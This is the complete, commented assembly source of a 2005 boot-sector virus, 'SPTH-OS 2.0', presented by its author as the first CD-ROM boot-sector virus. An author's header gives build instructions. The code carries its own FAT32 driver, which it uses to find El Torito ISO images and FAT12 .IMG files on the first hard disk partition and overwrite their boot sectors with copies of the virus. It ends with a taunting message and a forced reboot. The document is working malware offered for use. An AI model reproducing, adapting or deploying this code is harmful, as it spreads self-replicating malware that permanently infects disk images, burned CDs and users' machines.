SPTH-OS 2.0 by Second Part To Hell/[rRlf] www.spth.de.vu spth@priest.com written from January 2005 - April 2005 in Austria What you can see below is the world's first bootsectorvirus for CD-ROMs. The virus infects ISO-9660 El Torito Images in the Root Directory of the first partition on the Harddisk. It also infects FAT12 .IMG Imagefiles. El Torito is maybe the most often used Bootable CD-Image, and it's used by for instance Ahead Nero Burning-ROM. When the virus infects an ISO image, and the user burns this image to a CD-ROM, the CD-ROM is infected, and the virus can not be removed anymore. When the user now forgets the CD-ROM in the drive, and BIOS tests the CD-Boot, the next images became infected. The features: - First CD-ROM bootsector virus - Works at CD-ROMs and floppys - Own FAT32 Filesystem driver - ISO-9660 El Torito Images infection - FAT12 Image file infection The differences to other bootsector virus is, that it does not use the OS's functions but use it's own Filesystem driver. This was of course a lot of work, but I guess that it was a success. There is one known bug: the virus does not infect files at very huge and full-trashed root directories, as it just searchs files in the first 16 sectors (256 entries), but this is very unusual. (But you have to know that also deleted files/dirs are saved in the root directory) Compile: - - - del kernel.bin cls fasm kernel.asm kernel.bin rawrite -f kernel.bin -d A -n pause shutdown -r -f -t 1 -c "SPTH-OS v2.0" - - - Well, the first prove-of-concept CD-ROM bootsector virus has been writen, now let's move to other projects... - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - org 0x7c00 ; Offsets + 0x7C00, as the bootsector will be loaded at 0x7C00 stfat: jmp startboot ; Jump over FAT12 table nop db 0x4D,0x53,0x44,0x4F,0x53,0x35,0x2E,0x30 ; FAT12 Table db 0x00,0x02,0x01,0x01,0x00,0x02,0xE0,0x00 db 0x40,0x0B,0xF0,0x09,0x00,0x12,0x00,0x02 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x29,0x8C,0x22,0x2F,0x7C db 0x4E,0x4F,0x20,0x4E,0x41,0x4D,0x45,0x20 db 0x20,0x20,0x20,0x46,0x41,0x54,0x31,0x32 db 0x20,0x20,0x20 startboot: cli ; No Interrupts mov ax,0x9000 ; Make the stack at 0x9000 mov ss, ax ; Stack=0x9000 mov sp, 0 ; Stackpointer=0x0 sti ; Allow Interrupts mov [bootdrv], dl ; Save the bootdevice loada: push ds ; Save DS mov ax, 0 ; Function: Diskdrive reset mov dl, [bootdrv] ; Bootdevice to dl int 0x13 ; Execute pop ds ; Get DS jc loada ; If Error, do it again load1: mov ax, 0x1000 ; Where to read: 0x1000 mov es, ax ; ES=0x1000 mov bx, 0 ; BX=0 mov ah, 0x2 ; Read sectors mov al, 0x3 ; Read 3 sectors mov cx, 2 ; Start at sector 2 mov dx, 0 ; At current disk (or emulated disk) int 0x13 ; Execute jc load1 ; If error, do it again mov ax, 0x1000 ; AX=0x1000 mov es, ax ; ES=0x1000 mov ds, ax ; DS=0x1000 push ax ; push 0x1000 to stack mov ax, 0 ; AX=0x0 push ax ; push 0x0 to stack retf bootdrv db 0 ; Byte for bootdevice endboot: times (512-(endboot-stfat)-2) db 0 dw 0xAA55 org 0x0 ; Offsets + 0x0 start: mov bx, 0x2000 ; bx=0x2000 mov es, bx ; Data will be read to ES:BX, ES=0x2000 mov ds, bx xor bx, bx ; BX=0x0 mov ah, 0x2 ; Read mov al, 0x1 ; 1 Sector mov cl, 1 ; Start at sector 1 mov ch, 0 ; Cylinder=0 mov dh, 0 ; Head=0 mov dl, 0x80 ; Drive=0x80=HD int 0x13 ; Read MBR xor bx, bx ; bx=0=Start of MBR mov ax, [bx+454] ; ax=1st Partition's start: Partitiontable (446) + 8 = 454 mov cl, [bx+447] ; cl=Sector of 1st Partition in CHS: 446 + 1 = 447 mov dh, [bx+448] ; dh=Head of 1st Partition in CHS: 446 + 2 = 448 mov ch, [bx+449] ; ch=Cylinder of 1st Partition in CHS: 446 + 3=449 mov bx, 0x1000 ; bx=0x1000 mov es, bx ; Data will be read to ES:BX, ES=0x1000 mov ds, bx xor bx, bx ; BX=0x0 mov [BootSecPar], ax ; Save 1st Partition's start in LBA mov ah, 0x2 ; Read mov al, 0x10 ; 16 Sector mov dl, 0x80 ; Drive=0x80=HD mov bx, 0x2000 ; bx=0x2000 mov es, bx ; Data will be read to ES:BX, ES=0x2000 mov ds, bx xor bx, bx ; BX=0x0 int 0x13 ; Read First Sector of Partition xor bx, bx ; BX=0x0 mov ah, [bx+24] ; ah=BPB_SecPerTrk: For CHS calculation mov al, [bx+26] ; al=BPB_NumHeads: For CHS calculation mov cl, [bx+13] ; cl=Sector per cluster mov ch, [bx+16] ; ch=Number of FATs mov si, [bx+14] ; si=Reserved Sectors mov ebp, [bx+44] ; ebp=RootCluster mov edx, [bx+36] ; edx=Sectors per FAT mov bx, 0x1000 ; bx=0x2000 mov es, bx ; Data will be read to ES:BX, ES=0x2000 mov ds, bx xor bx, bx ; BX=0x0 mov [TotalSector], ah ; Save BPB_SecPerTrk mov [TotalHead], al ; Save BPB_NumHeads mov [SecPerClust], cl ; Save Sector per cluster mov [ReservedSec], si ; Save Reserved Sector mov [NumOfFats], ch ; Save Number Of FATs mov [SecPerFat], edx ; Save Sector Per FAT mov [LBA], ebp ; Save Root Cluster call getLBA ; Get the real sector number ; Returns the real sector number in EAX call CHS ; CHS mov ah, 0x2 ; Read mov al, 0x10 ; 16 Sector mov cl, [sector] ; Start at sector ?? mov ch, [cylinder] ; Cylinder=? mov dh, [head] ; Head=?? mov dl, 0x80 ; Drive=0x80=HD mov bx, 0x2000 ; bp=0x2000 mov es, bx ; Data will be read to ES:BX, ES=0x2000 mov ds, bx xor bx, bx int 0x13 ; Read Sectors fat32read: mov cx, 0x2000 ; cx=0x2000 mov es, cx ; Data will be read to ES:BX, ES=0x2000 mov ds, cx mov ah, [bx] ; ah=First byte of Filename test ah, ah ; Check if zero. If zero, it's the last entry jz ende_a ; If it's the last entry of this directory, stopp the filesearching cmp ah, 0xE5 ; Check if the byte is 0xE5. If so, it's a deleted file je fat32next ; If deleted file, get next entry mov al, [bx+2] ; al=3rd letter of name test al, al ; Check if zero jz fat32next ; If zero, get next entry mov al, [bx+11] ; Move the Filetype to AL cmp al, 0x10 ; Compaire with 0x10 (=Directory) je fat32next ; If it's a directory, save the cluster mov ax, word [bx+8] ; 9th and 10th Letter to ax cmp ax, 'IM' ; Check if it's 'IM' jne fat32noimg ; If not, no IMG file mov al, byte [bx+10] ; Move 10th letter to al cmp al, 'G' ; Check if 10th letter='G' jne fat32noimg ; If not, no IMG file mov eax, [bx+0x1C] ; eax=Size of file cmp eax, (totalend-start)+512 ; Minimum size of file: 1st sector+viruslength js fat32next ; If not big enough, not infect this file push bx call infectionIMG ; Infection! pop bx fat32noimg: mov ax, word [bx+8] ; 9th and 10th Letter to ax cmp ax, 'IS' ; Check if it's 'IS' jne fat32noiso ; If not, no ISO file mov al, byte [bx+10] ; Move 10th letter to al cmp al, 'O' ; Check if 10th letter='S' jne fat32noimg ; If not, no IMG file push bx call infectionISO ; Infection! pop bx fat32noiso: fat32next: add bx, 0x20 ; Next entry jmp fat32read infectionIMG: mov ax, [bx+20] ; High number of cylinder to ax shl eax, 0x10 ; High number in e-part of eax mov ax, [bx+26] ; Low number of cylinder to ax mov bx, 0x1000 ; ax=0x1000 mov es, bx ; Data will be read to ES:BX, ES=0x1000 mov ds, bx xor bx, bx ; BX=0x0 mov [LBA], eax ; DataCluster=EAX call getLBA ; Get the real sector number ; Returns the sector number in EAX mov [LBA], eax ; Save the LBA call CHS ; Get the CHS of the real sector number mov ah, 0x2 ; Read mov al, 0x1 ; 1 Sector mov cl, [sector] ; Start at sector ?? mov ch, [cylinder] ; Cylinder=? mov dh, [head] ; Head=?? mov dl, 0x80 ; Drive=0x80=HD mov bx, 0x3000 ; bx=0x3000 mov es, bx ; Data will be read to ES:BX, ES=0x3000 mov ds, bx xor bx, bx ; BX=0x0 int 0x13 ; Read Sectors mov eax, [bx+0x37] ; At 0x36: "FAT12"-mark cmp eax, 'AT12' ; Compaire the values call infectimgwrite ; If equal, infect it ret ; Otherwise return to the file-search procedure infectimgwrite: mov ax, 0x1000 ; AX=0x1000 (Virus in Memory) mov ds, ax ; DS=0x1000 mov ax, 0x3000 ; AX=0x3000 (Bootsector of File in Memory) mov es, ax mov cx, 62 ; Length of 1st sector data mov si, fat12bootsector ; Where the data is mov di, 0x3E ; The FAT12 at 1st sector in IMG file rep movsb ; Move CX bytes from DS:SI to ES:DI ; Move 62 bytes from 0x1000:data1stsector to 0x3000:0x3E mov bx, 0x3000 ; bx=0x3000 mov es, bx ; Data will be read to ES:BX, ES=0x3000 mov ds, bx xor bx, bx ; BX=0x0 mov ax, 0x3CEB ; AX=Jmp over FAT12 Table mov [bx], ax ; Write the JMP to the changed sector mov bx, 0x1000 ; bx=0x1000 mov es, bx ; Data will be read to ES:BX, ES=0x1000 mov ds, bx xor bx, bx ; BX=0x0 mov ah, 0x3 ; Write mov al, 0x1 ; 1 Sector mov cl, [sector] ; Start at sector ?? mov ch, [cylinder] ; Cylinder=? mov dh, [head] ; Head=?? mov dl, 0x80 ; Drive=0x80=HD mov bx, 0x3000 ; bx=0x3000 mov es, bx ; Data will be read to ES:BX, ES=0x3000 mov ds, bx xor bx, bx ; BX=0x0 int 0x13 ; Write Bootsector mov bx, 0x1000 ; bx=0x1000 mov es, bx ; Data will be read to ES:BX, ES=0x3000 mov ds, bx xor bx, bx ; BX=0x0 mov cx, 3 ; Do it 3 times WriteSecs: push cx push bx mov eax, [LBA] mov edx, 4 sub dx, cx add eax, edx ; Get next sector xor edx, edx call CHS ; CHS pop bx ; restore bx mov ah, 0x3 ; Write mov al, 0x1 ; 1 Sector mov cl, [sector] ; Start at sector ?? mov ch, [cylinder] ; Cylinder=?? mov dh, [head] ; Head=?? mov dl, 0x80 ; Drive=0x80=HD int 0x13 ; Write Sectors pop cx ; Restore cx add bx, 0x200 ; Next sector loop WriteSecs ret infectionISO: mov ax, [bx+20] ; High number of cylinder to ax shl eax, 0x10 ; High number in e-part of eax mov ax, [bx+26] ; Low number of cylinder to ax mov bx, 0x1000 ; ax=0x1000 mov es, bx ; Data will be read to ES:BX, ES=0x1000 mov ds, bx xor bx, bx ; BX=0x0 mov [LBA], eax ; DataCluster=EAX call getLBA ; Get the sector number push eax ; Save the start of the file add eax, 17*4 ; Bootrecord Volume is ALWAYS at CD-ROM Sector 17 ; A CD-ROM sector is ALWAYS 0x800 ; A HD sector is ALWAYS (?) 0x200 (0x200*4[!]=0x800) ; We now have the sector of the Boot Record Volume of the ISO file at the HD call CHS ; Now calculate the CHS mov ah, 0x2 ; Read mov al, 0x1 ; 1 Sector mov cl, [sector] ; Start at sector ?? mov ch, [cylinder] ; Cylinder=? mov dh, [head] ; Head=?? mov dl, 0x80 ; Drive=0x80=HD mov bx, 0x3000 ; bx=0x3000 mov es, bx ; Data will be read to ES:BX, ES=0x3000 mov ds, bx xor bx, bx ; BX=0x0 int 0x13 ; Read Sector ; Now we have the Boot Record Volume pop ecx ; ECX=Start of file mov eax, [bx+7] ; Move Byte 7-10 to eax cmp eax, 'EL T' ; Check if it's a bootable ISO file ; String should be 'EL TORITO SPECIFICATION' jne EndISOInfection ; If not: SHIT! ;) push ecx ; Save the Start of the file again mov eax, [bx+71] ; Move the 'Absolute pointer to first sector of Boot Catalog' to eax mov edx, 4 mul edx ; You know: 0x800/0x200=4; Now it's the right sectornumber add eax, ecx ; Sector number at HD mov bx, 0x1000 ; bx=0x1000 mov es, bx ; Data will be read to ES:BX, ES=0x1000 mov ds, bx xor bx, bx ; BX=0x0 call CHS ; Get the CHS mov ah, 0x2 ; Read mov al, 0x1 ; 1 Sector mov cl, [sector] ; Start at sector ?? mov ch, [cylinder] ; Cylinder=? mov dh, [head] ; Head=?? mov dl, 0x80 ; Drive=0x80=HD mov bx, 0x3000 ; bx=0x3000 mov es, bx ; Data will be read to ES:BX, ES=0x3000 mov ds, bx xor bx, bx ; BX=0x0 int 0x13 ; Read Sector ; Now we have the Boot Catalog pop ecx ; Get Start of the file mov al, [bx+32] ; AL=Boot Indicator: 0x88=bootable cmp al, 0x88 ; Check if it's bootable jne EndISOInfection ; If not: SHIT! ;) mov eax, [bx+40] ; This is the start sector of the virtual Disk mov edx, 4 ; EDX=4 mul edx ; EAX=The real Sector in the file add eax, ecx ; EAX=The Sector of it on the HD mov bx, 0x1000 ; bx=0x1000 mov es, bx ; Data will be read to ES:BX, ES=0x1000 mov ds, bx xor bx, bx ; BX=0x0 mov [LBA], eax call CHS ; Get the CHS mov ah, 0x2 ; Read mov al, 0x1 ; 1 Sector mov cl, [sector] ; Start at sector ?? mov ch, [cylinder] ; Cylinder=? mov dh, [head] ; Head=?? mov dl, 0x80 ; Drive=0x80=HD mov bx, 0x3000 ; bx=0x3000 mov es, bx ; Data will be read to ES:BX, ES=0x3000 mov ds, bx xor bx, bx ; BX=0x0 int 0x13 ; Read Sector ; Now we have the Bootsector of the virtual Disk call infectimgwrite ; Infect the file!!! EndISOInfection: ret ende_a: mov ax, 0x1000 ; ax=0x1000 mov es, ax ; Data will be read to ES:BX, ES=0x1000 mov ds, ax xor bx, bx ; BX=0x0 mov cx, 116 ; 116 Letters mov si, endmsg ; si=Offset of String jmp eee putstra: lodsb ; [si]->al mov ah, 0xE ; ah=0xE: Print Letter to Screen mov bx, 0x7 int 0x10 ; call loop putstra ; Next Letter mov al, 13 mov ah, 0xE mov bx, 0x7 int 0x10 mov al, 10 mov ah, 0xE mov bx, 0x7 int 0x10 ret eee: call putstra mov ah, 0 ; ah=0: Get Key BIOS Function int 0x16 ; Call jmp reboot ; Now let's reboot! CHS: xor ebx, ebx ; ebx=0 mov bl, [TotalSector] ; Total Sectors div ebx ; EDX:EAX DIV EBX= ; EAX= Quotient ; EDX= Reminder inc dx ; Reminder+1=Sector mov [sector], dl ; Sector=Reminder (not more than 0xFF) mov [cylhead], eax mov edx, eax ; EDX=Quotient shr edx, 16 ; DX=High number of quotient xor bx, bx ; BX=0 mov bl, [TotalHead] ; Total Heads div bx ; DX:AX DIV BX= ; AX= Quotient ; DX= Reminder mov [head], dl ; Head=Reminder mov [cylinder], al ; Cylinder=Quotient shl ah, 6 ; 0000 00?? -> ??00 0000 mov al, [sector] ; high two bits of cylinder (bits 6-7, hard disk only) or al, ah ; 00xx xxxx -> ??xx xxxx mov [sector], al ; Save! ret getLBA: ;; Find Data: ;; (boot sector)+(number of fats)*(sectors per fat)+(reserved sectors)+(Data cluster-2)*(sectors per cluster) ;; DataCluster saved in LBA mov eax, [SecPerFat] ; eax=SecPerFat xor bx, bx ; bx=0 mov bl, [NumOfFats] ; bl=NumOfFats mul bx ; AX*BX=DX:AX mov [FATCalc], ax ; Save the result xor eax, eax ; EAX=0 mov al, [SecPerClust] ; al=SecPerClust mov ebx, [LBA] ; ebx=DataCluster sub ebx, 2 ; DataCluster-=2 mul ebx ; EAX*EBX=EDX:EAX mov [ClustCalc], eax ; Save the result xor eax, eax ; eax=0 mov ax, [BootSecPar] ; AX=Sectors before the 1st partition xor ebx, ebx ; ebx=0 mov bx, [FATCalc] ; BX=(number of fats)*(sectors per fat) add eax, ebx ; AX+=BX mov bx, [ReservedSec] ; BX=Reserved Sectors add eax, ebx ; AX+=BX mov ebx, [ClustCalc] ; BX=(Root Cluster-2)*(Sectors per Cluster) add eax, ebx ; AX+=BX xor edx, edx ; EDX=0 ret endmsg db 13,10,13,10,13,10 db 'Thank you for using SPTH-OS 2.0!',13,10 db 'This may spread better then Windows(c)(r)tm ;-)',13,10 db 'by Second Part To Hell/rRlf' sector db 0x0 head db 0x0 cylinder db 0x0, 0x0 cylhead dd 0x0 bit2cyl db 0x0 LBA dd 0x0 BootSecPar dw 0x0 TotalSector db 0x0 ; BPB_SecPerTrk: For CHS calculation TotalHead db 0x0 ; BPB_NumHeads: For CHS calculation SecPerClust db 0x0 ; Offset 13 ReservedSec dw 0x0 ; Offset 14 NumOfFats db 0x0 ; Offset 16 SecPerFat dd 0x0 ; Offset 36 FATCalc dw 0x0 ; NumOfFats*SecPerFat (should not be greater than 0xFFFF) ClustCalc dd 0x0 ; (RootClust-2)*(SecPerClust) fat12bootsector: db 0xFA,0xB8,0x00,0x90,0x8E,0xD0,0xBC,0x00 db 0x00,0xFB,0x88,0x16,0x7C,0x7C,0x1E,0xB8 db 0x00,0x00,0x8A,0x16,0x7C,0x7C,0xCD,0x13 db 0x1F,0x72,0xF3,0xB8,0x00,0x10,0x8E,0xC0 db 0xBB,0x00,0x00,0xB4,0x02,0xB0,0x03,0xB9 db 0x02,0x00,0xBA,0x00,0x00,0xCD,0x13,0x72 db 0xEA,0xB8,0x00,0x10,0x8E,0xC0,0x8E,0xD8 db 0x50,0xB8,0x00,0x00,0x50,0xCB reboot: db 0xEA ; Hexdump for reboot: jmp 00FF:FF00 dw 0x0 dw 0xFFFF totalend: